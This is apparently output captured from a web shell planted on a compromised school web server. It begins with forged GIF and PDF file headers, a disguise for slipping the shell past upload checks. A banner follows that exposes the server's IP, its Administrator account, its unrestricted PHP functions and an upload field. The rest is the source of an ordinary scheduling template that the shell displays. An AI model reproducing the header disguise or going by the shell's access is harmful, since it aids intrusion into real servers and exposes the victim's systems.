GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/Waldo/ |
Upload File : |
<? // Admin/Waldo/waldoEdit.phpinc #d_On(); $WaldoChangeTimeCutoff = 17; // Do not allow Waldo edit after noon today. ?> <table class="center"><tr><td> <fieldset><legend>Edit Where's Waldo</legend> You can edit any Where's Waldo entries here. <table> <tr><td></td> <? foreach ( $days as $dayNumber => $day ) { ?> <th class="center" colspan="2"><?=$day?></th> <? } ?> </tr> <? $startdate = $sessionInfo['sessionStart']; $enddate = $sessionInfo['sessionEnd']; $firstweek = date('W', strtotime($startdate)); $currentDate = $startdate; #$currentDate = date('Y-m-d', strtotime('+3 day', strtotime($currentDate))); $dayIndex = date('w', strtotime($currentDate)); $week = date('W', strtotime($currentDate)) - $firstweek + 1; if ( $dayIndex == 0 ) $week++; $todayDate = date("Y-m-d"); ?> <tr><td>Week <?=$week?>:</td> <? if ( $dayIndex != 1 ) { $fillIndex = 1; while ( $fillIndex < $dayIndex ) { ?> <td></td> <? $fillIndex++; } } // $endloop = 0; while ( $endloop < 366 && $currentDate <= $enddate ) { // Calculate day number from date. $dayIndex = date('w', strtotime($currentDate)); $week = date('W', strtotime($currentDate)) - $firstweek + 1; if ( $dayIndex == 0 ) $week++; $iwaldo = ''; $swaldo = ''; $ititle = ''; $stitle = ''; $class = ''; if ( $dayIndex == 0 ) { // Sunday ?> <tr><td>Week <?=$week?>:</td> <? } elseif ( $dayIndex >= 1 && $dayIndex <= 5 ) { // This is M-F. if ( isset($SchoolCalendar[$currentDate]) ) { #$swaldo = explode('|',$SchoolCalendar[$currentDate]); #$stitle = htmlView(trim($swaldo[1])); #$swaldo = htmlView(trim($swaldo[0])); $swaldo = $SchoolCalendar[$currentDate]['Status']; $stitle = $SchoolCalendar[$currentDate]['Note']; } if ( $swaldo == '' ) { if ( isset($InstructorCalendar[$currentDate]) ) { #$iwaldo = explode('|',$InstructorCalendar[$currentDate]); #$ititle = htmlView(trim($iwaldo[1])); #$iwaldo = htmlView(trim($iwaldo[0])); $iwaldo = $InstructorCalendar[$currentDate]['Location']; $ititle = $InstructorCalendar[$currentDate]['Note']; } } else { $class = ''; switch ( $swaldo ) { case 'No classes': if ( $class != 'silver') $class = 'warning'; break; case 'School closed': if ( $class != 'silver') $class = 'error'; break; default: break; } } if ( $todayDate == $currentDate ) { $class .= ' today'; $class = str_replace('info','',$class); } $note = $ititle; if ( $stitle != '' ) { $stitle = ' title="'.$stitle.'"'; $class .= ' underline'; } $class = trim($class); if ( $class != '' ) $class = ' class="'.trim($class).'"'; ?> <td><?=substr($currentDate,5)?></td><td<?=$class?><?=$stitle?>> <? if ( $swaldo == '' ) { $sDate = str_replace('-','',$currentDate); $currentTime = date('G'); #d_Var("$todayDate < $currentDate",$todayDate < $currentDate,'',false,true); if ( $todayDate < $currentDate || ( $todayDate == $currentDate && $currentTime < $WaldoChangeTimeCutoff ) ) { ?> Location: <select name="f_location_<?=$sDate?>"> <option value=""></option> <? foreach ( $options as $value => $option ) { if ( $value == $iwaldo ) { $selected = ' selected'; } else { $selected = ''; } ?> <option value="<?=$value?>"<?=$selected?>><?=$option?></option> <? } ?> </select><input type="hidden" name="f_locationOriginal_<?=$sDate?>" value="<?=$iwaldo?>"><br> Title: <input type="text" name="f_note_<?=$sDate?>" value="<?=htmlView($note)?>" style="width:8.7em;"><input type="hidden" name="f_noteOriginal_<?=$sDate?>" value="<?=htmlView($note)?>"> <? } else { ?> <?=$iwaldo?> <? if ( $note != '' ) { ?><br> <?=htmlView($note)?> <? } ?> <input type="hidden" name="f_location_<?=$sDate?>" value="<?=$iwaldo?>" style="width:5em;"><input type="hidden" name="f_locationOriginal_<?=$sDate?>" value="<?=$iwaldo?>"><br> <input type="hidden" name="f_note_<?=$sDate?>" value="<?=htmlView($note)?>" style="width:8.7em;"><input type="hidden" name="f_noteOriginal_<?=$sDate?>" value="<?=htmlView($note)?>"> <? } #d_Var('$currentDate',$currentDate); #d_Var("\$InstructorCalendar[$currentDate]",$InstructorCalendar[$currentDate]); #d_Var('$dayIndex '.date('l', strtotime($currentDate)),$dayIndex); #d_Var('$week',$week); } else { ?> <?=$swaldo?> <? } ?> </td> <? } else { // Saturday ?> </tr> <? } $currentDate = date('Y-m-d', strtotime('+1 day', strtotime($currentDate))); $endloop++; } if ( $dayIndex < 6 ) { while ( $dayIndex < 6 ) { ?> <td></td> <? $dayIndex++; } ?> </tr> <? } ?> <tr><td colspan="6"><input type="submit" name="f_task" value="Update Where's Waldo"></td></tr> </table> </fieldset> </td></tr></table> <? d_Off(); ?>